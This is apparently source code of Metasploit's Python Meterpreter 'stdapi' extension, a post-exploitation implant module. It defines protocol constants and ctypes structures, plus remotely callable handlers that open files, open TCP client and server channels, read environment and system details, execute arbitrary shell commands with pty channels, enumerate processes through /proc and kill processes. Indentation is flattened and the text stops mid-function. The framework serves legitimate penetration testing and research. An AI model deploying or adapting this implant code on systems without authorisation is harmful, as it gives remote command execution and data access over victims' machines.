metasploit-framework/data/meterpreter/ext_server_stdapi.py

1468 lines
54 KiB
Python

import fnmatch
import getpass
import os
import platform
import shlex
import shutil
import socket
import struct
import subprocess
import sys
import time
try:
import ctypes
has_ctypes = True
has_windll = hasattr(ctypes, 'windll')
except ImportError:
has_ctypes = False
has_windll = False
try:
import pty
has_pty = True
except ImportError:
has_pty = False
try:
import pwd
has_pwd = True
except ImportError:
has_pwd = False
try:
import SystemConfiguration as osxsc
has_osxsc = True
except ImportError:
has_osxsc = False
try:
import termios
has_termios = True
except ImportError:
has_termios = False
try:
import _winreg as winreg
has_winreg = True
except ImportError:
has_winreg = False
try:
import winreg
has_winreg = True
except ImportError:
has_winreg = (has_winreg or False)
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8')
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
if has_ctypes:
#
# Windows Structures
#
class SOCKADDR(ctypes.Structure):
_fields_ = [("sa_family", ctypes.c_ushort),
("sa_data", (ctypes.c_uint8 * 14))]
class SOCKET_ADDRESS(ctypes.Structure):
_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
("iSockaddrLength", ctypes.c_int)]
class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
_fields_ = [
("s", type(
'_s_IP_ADAPTER_UNICAST_ADDRESS',
(ctypes.Structure,),
dict(_fields_ = [
("Length", ctypes.c_ulong),
("Flags", ctypes.c_uint32)
])
)),
("Next", ctypes.c_void_p),
("Address", SOCKET_ADDRESS),
("PrefixOrigin", ctypes.c_uint32),
("SuffixOrigin", ctypes.c_uint32),
("DadState", ctypes.c_uint32),
("ValidLifetime", ctypes.c_ulong),
("PreferredLifetime", ctypes.c_ulong),
("LeaseLifetime", ctypes.c_ulong),
("OnLinkPrefixLength", ctypes.c_uint8)]
class IP_ADAPTER_ADDRESSES(ctypes.Structure):
_fields_ = [
("u", type(
'_u_IP_ADAPTER_ADDRESSES',
(ctypes.Union,),
dict(_fields_ = [
("Alignment", ctypes.c_ulonglong),
("s", type(
'_s_IP_ADAPTER_ADDRESSES',
(ctypes.Structure,),
dict(_fields_ = [
("Length", ctypes.c_ulong),
("IfIndex", ctypes.c_uint32)
])
))
])
)),
("Next", ctypes.c_void_p),
("AdapterName", ctypes.c_char_p),
("FirstUnicastAddress", ctypes.c_void_p),
("FirstAnycastAddress", ctypes.c_void_p),
("FirstMulticastAddress", ctypes.c_void_p),
("FirstDnsServerAddress", ctypes.c_void_p),
("DnsSuffix", ctypes.c_wchar_p),
("Description", ctypes.c_wchar_p),
("FriendlyName", ctypes.c_wchar_p),
("PhysicalAddress", (ctypes.c_uint8 * 8)),
("PhysicalAddressLength", ctypes.c_uint32),
("Flags", ctypes.c_uint32),
("Mtu", ctypes.c_uint32),
("IfType", ctypes.c_uint32),
("OperStatus", ctypes.c_uint32),
("Ipv6IfIndex", ctypes.c_uint32),
("ZoneIndices", (ctypes.c_uint32 * 16)),
("FirstPrefix", ctypes.c_void_p),
("TransmitLinkSpeed", ctypes.c_uint64),
("ReceiveLinkSpeed", ctypes.c_uint64),
("FirstWinsServerAddress", ctypes.c_void_p),
("FirstGatewayAddress", ctypes.c_void_p),
("Ipv4Metric", ctypes.c_ulong),
("Ipv6Metric", ctypes.c_ulong),
("Luid", ctypes.c_uint64),
("Dhcpv4Server", SOCKET_ADDRESS),
("CompartmentId", ctypes.c_uint32),
("NetworkGuid", (ctypes.c_uint8 * 16)),
("ConnectionType", ctypes.c_uint32),
("TunnelType", ctypes.c_uint32),
("Dhcpv6Server", SOCKET_ADDRESS),
("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
("Dhcpv6ClientDuidLength", ctypes.c_ulong),
("Dhcpv6Iaid", ctypes.c_ulong),
("FirstDnsSuffix", ctypes.c_void_p)]
class MIB_IFROW(ctypes.Structure):
_fields_ = [("wszName", (ctypes.c_wchar * 256)),
("dwIndex", ctypes.c_uint32),
("dwType", ctypes.c_uint32),
("dwMtu", ctypes.c_uint32),
("dwSpeed", ctypes.c_uint32),
("dwPhysAddrLen", ctypes.c_uint32),
("bPhysAddr", (ctypes.c_uint8 * 8)),
("dwAdminStatus", ctypes.c_uint32),
("dwOperStaus", ctypes.c_uint32),
("dwLastChange", ctypes.c_uint32),
("dwInOctets", ctypes.c_uint32),
("dwInUcastPkts", ctypes.c_uint32),
("dwInNUcastPkts", ctypes.c_uint32),
("dwInDiscards", ctypes.c_uint32),
("dwInErrors", ctypes.c_uint32),
("dwInUnknownProtos", ctypes.c_uint32),
("dwOutOctets", ctypes.c_uint32),
("dwOutUcastPkts", ctypes.c_uint32),
("dwOutNUcastPkts", ctypes.c_uint32),
("dwOutDiscards", ctypes.c_uint32),
("dwOutErrors", ctypes.c_uint32),
("dwOutQLen", ctypes.c_uint32),
("dwDescrLen", ctypes.c_uint32),
("bDescr", (ctypes.c_char * 256))]
class MIB_IPADDRROW(ctypes.Structure):
_fields_ = [("dwAddr", ctypes.c_uint32),
("dwIndex", ctypes.c_uint32),
("dwMask", ctypes.c_uint32),
("dwBCastAddr", ctypes.c_uint32),
("dwReasmSize", ctypes.c_uint32),
("unused1", ctypes.c_uint16),
("wType", ctypes.c_uint16)]
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [("dwSize", ctypes.c_uint32),
("cntUsage", ctypes.c_uint32),
("th32ProcessID", ctypes.c_uint32),
("th32DefaultHeapID", ctypes.c_void_p),
("th32ModuleID", ctypes.c_uint32),
("cntThreads", ctypes.c_uint32),
("th32ParentProcessID", ctypes.c_uint32),
("thPriClassBase", ctypes.c_int32),
("dwFlags", ctypes.c_uint32),
("szExeFile", (ctypes.c_char * 260))]
class SID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [("Sid", ctypes.c_void_p),
("Attributes", ctypes.c_uint32)]
class SYSTEM_INFO(ctypes.Structure):
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
("wReserved", ctypes.c_uint16),
("dwPageSize", ctypes.c_uint32),
("lpMinimumApplicationAddress", ctypes.c_void_p),
("lpMaximumApplicationAddress", ctypes.c_void_p),
("dwActiveProcessorMask", ctypes.c_uint32),
("dwNumberOfProcessors", ctypes.c_uint32),
("dwProcessorType", ctypes.c_uint32),
("dwAllocationGranularity", ctypes.c_uint32),
("wProcessorLevel", ctypes.c_uint16),
("wProcessorRevision", ctypes.c_uint16)]
#
# Linux Structures
#
class IFADDRMSG(ctypes.Structure):
_fields_ = [("family", ctypes.c_uint8),
("prefixlen", ctypes.c_uint8),
("flags", ctypes.c_uint8),
("scope", ctypes.c_uint8),
("index", ctypes.c_int32)]
class IFINFOMSG(ctypes.Structure):
_fields_ = [("family", ctypes.c_uint8),
("pad", ctypes.c_int8),
("type", ctypes.c_uint16),
("index", ctypes.c_int32),
("flags", ctypes.c_uint32),
("chagen", ctypes.c_uint32)]
class NLMSGHDR(ctypes.Structure):
_fields_ = [("len", ctypes.c_uint32),
("type", ctypes.c_uint16),
("flags", ctypes.c_uint16),
("seq", ctypes.c_uint32),
("pid", ctypes.c_uint32)]
class RTATTR(ctypes.Structure):
_fields_ = [("len", ctypes.c_uint16),
("type", ctypes.c_uint16)]
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_QWORD = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
##
# General
##
TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
##
# Fs
##
TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
##
# Net
##
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402
TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403
TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443
TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444
##
# Socket
##
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
##
# Registry
##
TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
##
# Config
##
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
##
# Environment
##
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100
TLV_TYPE_ENV_VALUE = TLV_META_TYPE_STRING | 1101
TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102
DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
##
# Process
##
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
##
# Ui
##
TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
##
# Event Log
##
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
##
# Power
##
TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
##
# Sys
##
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
PROCESS_ARCH_UNKNOWN = 0
PROCESS_ARCH_X86 = 1
PROCESS_ARCH_X64 = 2
PROCESS_ARCH_IA64 = 3
##
# Errors
##
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
# Special return value to match up with Windows error codes for network
# errors.
ERROR_CONNECTION_ERROR = 10000
# Windows Constants
GAA_FLAG_SKIP_ANYCAST = 0x0002
GAA_FLAG_SKIP_MULTICAST = 0x0004
GAA_FLAG_INCLUDE_PREFIX = 0x0010
GAA_FLAG_SKIP_DNS_SERVER = 0x0080
PROCESS_TERMINATE = 0x0001
PROCESS_VM_READ = 0x0010
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
WIN_AF_INET = 2
WIN_AF_INET6 = 23
# Linux Constants
RTM_GETLINK = 18
RTM_GETADDR = 22
RTM_GETROUTE = 26
IFLA_ADDRESS = 1
IFLA_BROADCAST = 2
IFLA_IFNAME = 3
IFLA_MTU = 4
IFA_ADDRESS = 1
IFA_LABEL = 3
def calculate_32bit_netmask(bits):
if bits == 32:
return 0xffffffff
return ((0xffffffff << (32-(bits%32))) & 0xffffffff)
def cstruct_unpack(structure, raw_data):
if not isinstance(structure, ctypes.Structure):
structure = structure()
ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
return structure
def get_stat_buffer(path):
si = os.stat(path)
rdev = 0
if hasattr(si, 'st_rdev'):
rdev = si.st_rdev
blksize = 0
if hasattr(si, 'st_blksize'):
blksize = si.st_blksize
blocks = 0
if hasattr(si, 'st_blocks'):
blocks = si.st_blocks
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
def netlink_request(req_type):
import select
# See RFC 3549
NLM_F_REQUEST = 0x0001
NLM_F_ROOT = 0x0100
NLMSG_ERROR = 0x0002
NLMSG_DONE = 0x0003
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
sock.bind((os.getpid(), 0))
seq = int(time.time())
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
sock.send(nlmsg)
responses = []
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
return responses
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
while response.type != NLMSG_DONE:
if response.type == NLMSG_ERROR:
break
response_data = raw_response_data[:(response.len - 16)]
responses.append(response_data)
raw_response_data = raw_response_data[len(response_data):]
if not len(raw_response_data):
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
break
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
sock.close()
return responses
def resolve_host(hostname, family):
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
family = address_info[0]
address = address_info[4][0]
return {'family':family, 'address':address, 'packed_address':inet_pton(family, address)}
def windll_GetNativeSystemInfo():
if not has_windll:
return None
sysinfo = SYSTEM_INFO()
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
def windll_GetVersion():
if not has_windll:
return None
dwVersion = ctypes.windll.kernel32.GetVersion()
dwMajorVersion = (dwVersion & 0x000000ff)
dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
dwBuild = ((dwVersion & 0xffff0000) >> 16)
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
@meterpreter.register_function
def channel_open_stdapi_fs_file(request, response):
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
if fmode:
fmode = fmode['value']
fmode = fmode.replace('bb', 'b')
else:
fmode = 'rb'
file_h = open(fpath, fmode)
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def channel_open_stdapi_net_tcp_client(request, response):
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)
retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
connected = False
for i in range(retries + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3.0)
if local_host.get('value') and local_port.get('value'):
sock.bind((local_host['value'], local_port['value']))
try:
sock.connect((host, port))
connected = True
break
except:
pass
if not connected:
return ERROR_CONNECTION_ERROR, response
channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def channel_open_stdapi_net_tcp_server(request, response):
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_sock.bind((local_host, local_port))
server_sock.listen(socket.SOMAXCONN)
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_getuid(request, response):
response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_getenv(request, response):
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
pgroup = ''
env_var = env_var['value'].translate(None, '%$')
env_val = os.environ.get(env_var)
if env_val:
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val)
response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_sysinfo(request, response):
uname_info = platform.uname()
response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3])
arch = uname_info[4]
if has_windll:
arch = windll_GetNativeSystemInfo()
if arch == PROCESS_ARCH_IA64:
arch = 'IA64'
elif arch == PROCESS_ARCH_X64:
arch = 'x86_64'
elif arch == PROCESS_ARCH_X86:
arch = 'x86'
else:
arch = uname_info[4]
response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_process_close(request, response):
proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE)
if not proc_h_id:
return ERROR_SUCCESS, response
proc_h_id = proc_h_id['value']
del meterpreter.processes[proc_h_id]
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_process_execute(request, response):
cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
if raw_args:
raw_args = raw_args['value']
else:
raw_args = ""
flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
if len(cmd) == 0:
return ERROR_FAILURE, response
if os.path.isfile('/bin/sh'):
args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
else:
args = [cmd]
args.extend(shlex.split(raw_args))
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
if has_pty:
master, slave = pty.openpty()
if has_termios:
settings = termios.tcgetattr(master)
settings[3] = settings[3] & ~termios.ECHO
termios.tcsetattr(master, termios.TCSADRAIN, settings)
proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
proc_h.stdin = os.fdopen(master, 'wb')
proc_h.stdout = os.fdopen(master, 'rb')
proc_h.stderr = open(os.devnull, 'rb')
else:
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
proc_h.echo_protection = True
proc_h.start()
else:
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
proc_h_id = meterpreter.add_process(proc_h)
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
channel_id = meterpreter.add_channel(proc_h)
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_process_getpid(request, response):
response += tlv_pack(TLV_TYPE_PID, os.getpid())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_process_kill(request, response):
for pid in packet_enum_tlvs(request, TLV_TYPE_PID):
pid = pid['value']
if has_windll:
k32 = ctypes.windll.kernel32
proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
if not proc_h:
return ERROR_FAILURE, response
if not k32.TerminateProcess(proc_h, 0):
return ERROR_FAILURE, response
elif hasattr(os, 'kill'):
os.kill(pid, 9)
else:
return ERROR_FAILURE, response
return ERROR_SUCCESS, response
def stdapi_sys_process_get_processes_via_proc(request, response):
for pid in os.listdir('/proc'):
pgroup = bytes()
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
continue
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
status = {}
for k, v in filter(lambda x: len(x) == 2, status_data):
status[k[:-1]] = v.strip()
ppid = status.get('PPid')
uid = status.get('Uid').split('\t', 1)[0]
if has_pwd:
uid = pwd.getpwuid(int(uid)).pw_name
if cmd:
pname = os.path.basename(cmd.split(' ', 1)[0])
ppath = cmd
else:
pname = '[' + status['Name'] + ']'
ppath = ''
pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
if ppid:
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
return ERROR_SUCCESS, response
def stdapi_sys_process_get_processes_via_ps(request, response):
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
ps_output = str(proc_h.stdout.read())
ps_output = ps_output.split('\n')
ps_output.pop(0)
for process in ps_output:
process = process.split()
